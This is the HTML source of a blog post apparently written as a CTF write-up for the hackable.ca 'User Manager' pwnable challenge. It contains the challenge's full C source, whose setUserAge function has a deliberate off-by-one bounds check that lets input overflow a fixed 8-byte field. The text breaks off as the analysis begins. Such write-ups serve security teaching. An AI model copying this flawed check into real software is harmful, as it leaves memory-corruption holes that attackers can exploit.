-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathhackable_ca_userManager.html
575 lines (521 loc) · 54.5 KB
/
hackable_ca_userManager.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<meta name="author" content="F3real" />
<meta name="keywords" content="ctf,pwnable,binary exploitation" />
<meta name="description" content="How to solve hackable.ca User Manager" />
<title>Hackable.ca User Manager - EnSec blog</title>
<link href="https://f3real.github.io/theme/css/combined.css" rel="stylesheet" />
<!-- Feeds -->
</head>
<body data-spy="scroll" data-target="#scrollspy">
<div id="wrapper">
<!-- Sidebar -->
<nav id="sidebar-wrapper-small" class="twitchy-background">
<ul id="accordion-small" class="sidebar-nav sidebar-nav-small">
<li>
<a href="https://f3real.github.io" title="EnSec blog" class="collapsed">
<span class="fas fa-home"></span>
</a>
</li>
<li class="nav-divider"></li>
<li>
<a href="https://f3real.github.io/archives.html" title="Recent Articles" class="collapsed">
<span class="fas fa-th-list"></span>
</a>
</li>
<li class="nav-divider"></li>
<li>
<a data-toggle="collapse" data-parent="#accordion-small" href="#collapse-social-small" title="Social" class="collapsed">
<i class="fas fa-users padding-small"></i>
</a>
</li>
<li class="panel anti-panel"><ul id="collapse-social-small" class="collapse ">
<li>
<a href="https://github.com/F3real" title="Github"><i class="fab fa-github-square padding-small"></i></a>
</li>
<li>
<a href="https://www.linkedin.com/in/stefan-ili%C4%87-61a004111" title="Linkedin"><i class="fab fa-linkedin padding-small"></i></a>
</li>
</ul></li>
<li class="nav-divider"></li>
<li>
<a href="#" title="Back to top" class="collapsed">
<span class="fas fa-arrow-up"></span>
</a>
</li>
</ul>
</nav>
<nav id="sidebar-wrapper" class="twitchy-background">
<ul id="accordion" class="sidebar-nav">
<li class="sidebar-brand">
<a href="https://f3real.github.io/">
<span class="fas fa-home padding-small"></span>
EnSec blog
</a>
</li>
<li>
<a href="https://f3real.github.io/archives.html">
<span class="fas fa-th-list padding-small"></span>
Archives
</a>
</li>
<li class="nav-divider"></li>
<li>
<a data-toggle="collapse" data-parent="#accordion" href="#collapse-social">
<i class="fas fa-users padding-small"></i>
Contact
</a>
</li>
<li class="panel anti-panel"><ul id="collapse-social" class="sidebar_submenu collapse ">
<li>
<a href="https://github.com/F3real" title="Github">
<i class="fab fa-github-square padding-small"></i>
Github
</a>
</li>
<li>
<a href="https://www.linkedin.com/in/stefan-ili%C4%87-61a004111" title="Linkedin">
<i class="fab fa-linkedin padding-small"></i>
Linkedin
</a>
</li>
</ul></li>
<li class="nav-divider"></li>
<li class="panel anti-panel"><ul id="collapse-pages" class="sidebar_submenu collapse ">
</ul></li>
<li class="nav-divider"></li>
<li>
<a data-toggle="collapse" data-parent="#accordion" href="#collapse-categories">
<i class="fas fa-folder-open padding-small"></i>
Categories
</a>
</li>
<li class="panel anti-panel"><ul id="collapse-categories" class="sidebar_submenu collapse ">
<li class="active">
<a href="https://f3real.github.io/category/ctf.html">
<i class="fas fa-folder-open padding-small"></i>
ctf
<span class="badge badge-secondary float-right categorybadge">28</span>
</a>
</li>
<li >
<a href="https://f3real.github.io/category/misc.html">
<i class="fas fa-folder-open padding-small"></i>
misc
<span class="badge badge-secondary float-right categorybadge">15</span>
</a>
</li>
<li >
<a href="https://f3real.github.io/category/reversing.html">
<i class="fas fa-folder-open padding-small"></i>
reversing
<span class="badge badge-secondary float-right categorybadge">6</span>
</a>
</li>
<li >
<a href="https://f3real.github.io/category/tutorial.html">
<i class="fas fa-folder-open padding-small"></i>
tutorial
<span class="badge badge-secondary float-right categorybadge">5</span>
</a>
</li>
</ul></li>
</ul>
</nav>
<!-- /#sidebar-wrapper -->
<!-- open/close sidebar -->
<button onclick="toggleMenu();return false;" class="btn btn-primary" id="menu-toggle">
<span id="right-arrow" class="fas fa-chevron-right" title="expand sidebar"></span>
<span id="left-arrow" class="fas fa-chevron-left" title="minimize sidebar"></span>
</button>
<!-- /open/close sidebar -->
<!-- Page Content -->
<div id="page-content-wrapper">
<div class="container-fluid">
<section id="content">
<article>
<div class="row">
<div class="col-lg-10">
<header class="page-header">
<h1>
<a href="https://f3real.github.io/hackable_ca_userManager.html"
rel="bookmark"
title="Permalink to Hackable.ca User Manager">
Hackable.ca User Manager
</a>
<small>
<div class="post-info">
<div class="publish-info-block">
<small>
<span class="published">
<i class="fa fa-calendar padding-small"></i><time datetime="2018-08-03T10:02:00+02:00"> Fri 03 August 2018</time>
</span>
<span class="category">
<i class="fa fa-folder-open padding-small"></i><a href="https://f3real.github.io/category/ctf.html">ctf</a>
</span>
<span class="tags">
<i class="fa fa-tags padding-small"></i>
<a href="https://f3real.github.io/tag/ctf.html">ctf</a> / <a href="https://f3real.github.io/tag/pwnable.html">pwnable</a> / <a href="https://f3real.github.io/tag/binary-exploitation.html">binary exploitation</a> </span>
</small>
</div>
</div><!-- /.post-info --> </small>
</h1>
</header>
</div>
</div>
<div class="row">
<div class="col-lg-10">
<div class="entry-content">
<p>Today we take a look at another interesting challenge from <a href="www.hackable.ca">hackable.ca</a>. Like usual we are given source code and binary. So let’s look at source first:</p>
<div class="highlight"><pre><span></span><code><span class="cp">#include</span><span class="w"> </span><span class="cpf"><stdio.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><string.h></span>
<span class="cp">#include</span><span class="w"> </span><span class="cpf"><stdlib.h></span>
<span class="k">const</span><span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">mainMenuText</span><span class="w"> </span><span class="o">=</span>
<span class="w"> </span><span class="s">" MAIN MENU </span><span class="se">\n</span><span class="s">"</span>
<span class="w"> </span><span class="s">"--------------------</span><span class="se">\n</span><span class="s">"</span>
<span class="w"> </span><span class="s">"1 - view user </span><span class="se">\n</span><span class="s">"</span>
<span class="w"> </span><span class="s">"2 - create user </span><span class="se">\n</span><span class="s">"</span>
<span class="w"> </span><span class="s">"3 - exit </span><span class="se">\n</span><span class="s">"</span>
<span class="w"> </span><span class="s">"</span><span class="se">\n</span><span class="s">> "</span><span class="p">;</span>
<span class="k">const</span><span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">userMenuText</span><span class="w"> </span><span class="o">=</span>
<span class="w"> </span><span class="s">"--------------------</span><span class="se">\n</span><span class="s">"</span>
<span class="w"> </span><span class="s">"1 - change username </span><span class="se">\n</span><span class="s">"</span>
<span class="w"> </span><span class="s">"2 - change email </span><span class="se">\n</span><span class="s">"</span>
<span class="w"> </span><span class="s">"3 - change age </span><span class="se">\n</span><span class="s">"</span>
<span class="w"> </span><span class="s">"4 - change password </span><span class="se">\n</span><span class="s">"</span>
<span class="w"> </span><span class="s">"5 - RETURN </span><span class="se">\n</span><span class="s">"</span>
<span class="w"> </span><span class="s">"</span><span class="se">\n</span><span class="s">> "</span><span class="p">;</span>
<span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">user</span>
<span class="p">{</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">id</span><span class="p">;</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">username</span><span class="p">;</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">email</span><span class="p">;</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">password</span><span class="p">;</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">age</span><span class="p">[</span><span class="mi">8</span><span class="p">];</span>
<span class="p">}</span><span class="w"> </span><span class="n">user</span><span class="p">;</span>
<span class="kt">int</span><span class="w"> </span><span class="n">current_user</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">-1</span><span class="p">;</span>
<span class="n">user</span><span class="w"> </span><span class="n">users</span><span class="p">[</span><span class="mi">32</span><span class="p">];</span>
<span class="kt">int</span><span class="w"> </span><span class="n">first_empty_user</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="kt">void</span><span class="w"> </span><span class="nf">userInputLine</span><span class="p">(</span><span class="kt">char</span><span class="w"> </span><span class="n">inputBuf</span><span class="p">[],</span><span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="o">*</span><span class="n">parameter</span><span class="p">)</span>
<span class="p">{</span>
<span class="w"> </span><span class="kt">size_t</span><span class="w"> </span><span class="n">size</span><span class="p">;</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n\n</span><span class="s">%s> "</span><span class="p">,</span><span class="w"> </span><span class="n">parameter</span><span class="p">);</span>
<span class="w"> </span><span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>
<span class="w"> </span><span class="n">inputBuf</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="n">scanf</span><span class="p">(</span><span class="s">" %255[^</span><span class="se">\n</span><span class="s">]"</span><span class="p">,</span><span class="w"> </span><span class="n">inputBuf</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">void</span><span class="w"> </span><span class="nf">viewUser</span><span class="p">()</span>
<span class="p">{</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">inputLine</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
<span class="w"> </span><span class="n">userInputLine</span><span class="p">(</span><span class="n">inputLine</span><span class="p">,</span><span class="w"> </span><span class="s">"name of user"</span><span class="p">);</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="kt">int</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="n">first_empty_user</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="o">++</span><span class="p">)</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">users</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">username</span><span class="p">,</span><span class="w"> </span><span class="n">inputLine</span><span class="p">)</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span>
<span class="w"> </span><span class="n">current_user</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">users</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">id</span><span class="p">;</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">current_user</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">-1</span><span class="p">)</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"No user by that name"</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">void</span><span class="w"> </span><span class="nf">setUserName</span><span class="p">()</span>
<span class="p">{</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">inputLine</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
<span class="w"> </span><span class="kt">size_t</span><span class="w"> </span><span class="n">size</span><span class="p">;</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">users</span><span class="p">[</span><span class="n">current_user</span><span class="p">].</span><span class="n">username</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="nb">NULL</span><span class="p">)</span>
<span class="w"> </span><span class="n">free</span><span class="p">(</span><span class="n">users</span><span class="p">[</span><span class="n">current_user</span><span class="p">].</span><span class="n">username</span><span class="p">);</span>
<span class="w"> </span><span class="n">userInputLine</span><span class="p">(</span><span class="n">inputLine</span><span class="p">,</span><span class="w"> </span><span class="s">"set usernme"</span><span class="p">);</span>
<span class="w"> </span><span class="n">size</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">strlen</span><span class="p">(</span><span class="n">inputLine</span><span class="p">);</span>
<span class="w"> </span><span class="n">users</span><span class="p">[</span><span class="n">current_user</span><span class="p">].</span><span class="n">username</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">malloc</span><span class="p">(</span><span class="n">size</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">);</span>
<span class="w"> </span><span class="n">strcpy</span><span class="p">(</span><span class="n">users</span><span class="p">[</span><span class="n">current_user</span><span class="p">].</span><span class="n">username</span><span class="p">,</span><span class="w"> </span><span class="n">inputLine</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">void</span><span class="w"> </span><span class="nf">setUserEmail</span><span class="p">()</span>
<span class="p">{</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">inputLine</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
<span class="w"> </span><span class="kt">size_t</span><span class="w"> </span><span class="n">size</span><span class="p">;</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">users</span><span class="p">[</span><span class="n">current_user</span><span class="p">].</span><span class="n">email</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="nb">NULL</span><span class="p">)</span>
<span class="w"> </span><span class="n">free</span><span class="p">(</span><span class="n">users</span><span class="p">[</span><span class="n">current_user</span><span class="p">].</span><span class="n">email</span><span class="p">);</span>
<span class="w"> </span><span class="n">userInputLine</span><span class="p">(</span><span class="n">inputLine</span><span class="p">,</span><span class="w"> </span><span class="s">"set email"</span><span class="p">);</span>
<span class="w"> </span><span class="n">size</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">strlen</span><span class="p">(</span><span class="n">inputLine</span><span class="p">);</span>
<span class="w"> </span><span class="n">users</span><span class="p">[</span><span class="n">current_user</span><span class="p">].</span><span class="n">email</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">malloc</span><span class="p">(</span><span class="n">size</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">);</span>
<span class="w"> </span><span class="n">strcpy</span><span class="p">(</span><span class="n">users</span><span class="p">[</span><span class="n">current_user</span><span class="p">].</span><span class="n">email</span><span class="p">,</span><span class="w"> </span><span class="n">inputLine</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">void</span><span class="w"> </span><span class="nf">setUserAge</span><span class="p">()</span>
<span class="p">{</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">inputLine</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
<span class="w"> </span><span class="kt">size_t</span><span class="w"> </span><span class="n">maxage</span><span class="p">;</span>
<span class="w"> </span><span class="n">userInputLine</span><span class="p">(</span><span class="n">inputLine</span><span class="p">,</span><span class="w"> </span><span class="s">"set age"</span><span class="p">);</span>
<span class="w"> </span><span class="n">maxage</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">users</span><span class="p">[</span><span class="n">current_user</span><span class="p">].</span><span class="n">age</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">strlen</span><span class="p">(</span><span class="n">inputLine</span><span class="p">)</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="n">maxage</span><span class="p">)</span>
<span class="w"> </span><span class="n">inputLine</span><span class="p">[</span><span class="n">maxage</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mi">1</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="n">strcpy</span><span class="p">(</span><span class="n">users</span><span class="p">[</span><span class="n">current_user</span><span class="p">].</span><span class="n">age</span><span class="p">,</span><span class="w"> </span><span class="n">inputLine</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">void</span><span class="w"> </span><span class="nf">setUserPassword</span><span class="p">()</span>
<span class="p">{</span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">inputLine</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
<span class="w"> </span><span class="kt">size_t</span><span class="w"> </span><span class="n">size</span><span class="p">;</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">users</span><span class="p">[</span><span class="n">current_user</span><span class="p">].</span><span class="n">password</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="nb">NULL</span><span class="p">)</span>
<span class="w"> </span><span class="n">free</span><span class="p">(</span><span class="n">users</span><span class="p">[</span><span class="n">current_user</span><span class="p">].</span><span class="n">password</span><span class="p">);</span>
<span class="w"> </span><span class="n">userInputLine</span><span class="p">(</span><span class="n">inputLine</span><span class="p">,</span><span class="w"> </span><span class="s">"set password"</span><span class="p">);</span>
<span class="w"> </span><span class="n">size</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">strlen</span><span class="p">(</span><span class="n">inputLine</span><span class="p">);</span>
<span class="w"> </span><span class="n">users</span><span class="p">[</span><span class="n">current_user</span><span class="p">].</span><span class="n">password</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">malloc</span><span class="p">(</span><span class="n">size</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">1</span><span class="p">);</span>
<span class="w"> </span><span class="n">strcpy</span><span class="p">(</span><span class="n">users</span><span class="p">[</span><span class="n">current_user</span><span class="p">].</span><span class="n">password</span><span class="p">,</span><span class="w"> </span><span class="n">inputLine</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">void</span><span class="w"> </span><span class="nf">displayUserInfo</span><span class="p">()</span>
<span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"username: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">users</span><span class="p">[</span><span class="n">current_user</span><span class="p">].</span><span class="n">username</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">" email: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">users</span><span class="p">[</span><span class="n">current_user</span><span class="p">].</span><span class="n">email</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">" age: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">users</span><span class="p">[</span><span class="n">current_user</span><span class="p">].</span><span class="n">age</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"password: %s</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">users</span><span class="p">[</span><span class="n">current_user</span><span class="p">].</span><span class="n">password</span><span class="p">);</span>
<span class="p">}</span>
<span class="kt">int</span><span class="w"> </span><span class="nf">createSystemAccount</span><span class="p">()</span>
<span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">first_empty_user</span><span class="w"> </span><span class="o">!=</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">newID</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">first_empty_user</span><span class="o">++</span><span class="p">;</span>
<span class="w"> </span><span class="n">users</span><span class="p">[</span><span class="n">newID</span><span class="p">].</span><span class="n">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">newID</span><span class="p">;</span>
<span class="w"> </span><span class="n">users</span><span class="p">[</span><span class="n">newID</span><span class="p">].</span><span class="n">username</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">"admin_account_-_unknown_name"</span><span class="p">;</span>
<span class="w"> </span><span class="n">users</span><span class="p">[</span><span class="n">newID</span><span class="p">].</span><span class="n">email</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">"root@localhost"</span><span class="p">;</span>
<span class="w"> </span><span class="n">users</span><span class="p">[</span><span class="n">newID</span><span class="p">].</span><span class="n">password</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s">"flag{REMOVED_FROM_THIS_VERSION}"</span><span class="p">;</span>
<span class="w"> </span><span class="n">strcpy</span><span class="p">(</span><span class="n">users</span><span class="p">[</span><span class="n">newID</span><span class="p">].</span><span class="n">age</span><span class="p">,</span><span class="w"> </span><span class="s">"99"</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">createSystemAccount</span><span class="p">())</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="kt">int</span><span class="w"> </span><span class="n">menuOption</span><span class="p">;</span>
<span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"</span><span class="se">\n\n\n\n\n</span><span class="s">================================"</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">current_user</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">-1</span><span class="p">)</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"%s"</span><span class="p">,</span><span class="w"> </span><span class="n">mainMenuText</span><span class="p">);</span>
<span class="w"> </span><span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>
<span class="w"> </span><span class="n">scanf</span><span class="p">(</span><span class="s">"%d"</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">menuOption</span><span class="p">);</span>
<span class="w"> </span><span class="k">switch</span><span class="w"> </span><span class="p">(</span><span class="n">menuOption</span><span class="p">)</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="mi">1</span><span class="p">:</span>
<span class="w"> </span><span class="n">viewUser</span><span class="p">();</span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="mi">2</span><span class="p">:</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">first_empty_user</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="mi">31</span><span class="p">)</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">puts</span><span class="p">(</span><span class="s">"sorry, too many users"</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">else</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">current_user</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">first_empty_user</span><span class="o">++</span><span class="p">;</span>
<span class="w"> </span><span class="n">users</span><span class="p">[</span><span class="n">current_user</span><span class="p">].</span><span class="n">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">current_user</span><span class="p">;</span>
<span class="w"> </span><span class="n">users</span><span class="p">[</span><span class="n">current_user</span><span class="p">].</span><span class="n">username</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">NULL</span><span class="p">;</span>
<span class="w"> </span><span class="n">users</span><span class="p">[</span><span class="n">current_user</span><span class="p">].</span><span class="n">email</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">NULL</span><span class="p">;</span>
<span class="w"> </span><span class="n">users</span><span class="p">[</span><span class="n">current_user</span><span class="p">].</span><span class="n">password</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">NULL</span><span class="p">;</span>
<span class="w"> </span><span class="n">setUserName</span><span class="p">();</span>
<span class="w"> </span><span class="n">setUserEmail</span><span class="p">();</span>
<span class="w"> </span><span class="n">setUserAge</span><span class="p">();</span>
<span class="w"> </span><span class="n">setUserPassword</span><span class="p">();</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="mi">3</span><span class="p">:</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">else</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">displayUserInfo</span><span class="p">();</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"%s"</span><span class="p">,</span><span class="w"> </span><span class="n">userMenuText</span><span class="p">);</span>
<span class="w"> </span><span class="n">fflush</span><span class="p">(</span><span class="n">stdout</span><span class="p">);</span>
<span class="w"> </span><span class="n">scanf</span><span class="p">(</span><span class="s">"%d"</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">menuOption</span><span class="p">);</span>
<span class="w"> </span><span class="k">switch</span><span class="w"> </span><span class="p">(</span><span class="n">menuOption</span><span class="p">)</span>
<span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="mi">1</span><span class="p">:</span>
<span class="w"> </span><span class="n">setUserName</span><span class="p">();</span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="mi">2</span><span class="p">:</span>
<span class="w"> </span><span class="n">setUserEmail</span><span class="p">();</span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="mi">3</span><span class="p">:</span>
<span class="w"> </span><span class="n">setUserAge</span><span class="p">();</span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="mi">4</span><span class="p">:</span>
<span class="w"> </span><span class="n">setUserPassword</span><span class="p">();</span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="k">case</span><span class="w"> </span><span class="mi">5</span><span class="p">:</span>
<span class="w"> </span><span class="n">current_user</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">-1</span><span class="p">;</span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<p>At first look there are no obvious bugs, no obvious buffer overflows or format string exploits. Looking through code I noticed that only function that stands out is <code>setUserAge</code> since it doesn’t allocate memory dynamically and it does different checks. So let's examine it more carefully:</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="kt">void</span><span class="w"> </span><span class="nf">setUserAge</span><span class="p">()</span><span class="w"> </span>
<span class="w"> </span><span class="p">{</span><span class="w"> </span>
<span class="w"> </span><span class="kt">char</span><span class="w"> </span><span class="n">inputLine</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span><span class="w"> </span>
<span class="w"> </span><span class="kt">size_t</span><span class="w"> </span><span class="n">maxage</span><span class="p">;</span><span class="w"> </span>
